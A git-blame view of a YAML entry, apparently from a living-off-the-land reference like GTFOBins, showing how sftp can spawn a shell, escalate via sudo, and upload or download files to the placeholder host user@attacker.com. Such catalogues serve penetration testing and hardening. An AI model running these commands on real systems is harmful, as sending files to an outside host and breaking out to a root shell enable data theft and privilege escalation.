2018-05-22 11:58:12 +02:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
exec-interactive:
|
|
|
|
- code: |
|
2018-05-24 21:59:21 +02:00
|
|
|
HOST=user@attacker.com
|
2018-05-22 11:58:12 +02:00
|
|
|
sftp $HOST
|
|
|
|
!/bin/sh
|
|
|
|
sudo-enabled:
|
|
|
|
- code: |
|
2018-05-24 21:59:21 +02:00
|
|
|
HOST=user@attacker.com
|
2018-05-22 11:58:12 +02:00
|
|
|
sudo sftp $HOST
|
|
|
|
!/bin/sh
|
|
|
|
upload:
|
|
|
|
- description: Send local file to a SSH server.
|
|
|
|
code: |
|
2018-05-24 21:59:21 +02:00
|
|
|
RHOST=user@attacker.com
|
2018-05-22 11:58:12 +02:00
|
|
|
sftp $RHOST
|
|
|
|
put file_to_send where_to_save
|
|
|
|
download:
|
|
|
|
- description: Fetch a remote file from a SSH server.
|
|
|
|
code: |
|
2018-05-24 21:59:21 +02:00
|
|
|
RHOST=user@attacker.com
|
2018-05-22 11:58:12 +02:00
|
|
|
sftp $RHOST
|
|
|
|
get file_to_get where_to_save
|
|
|
|
---
|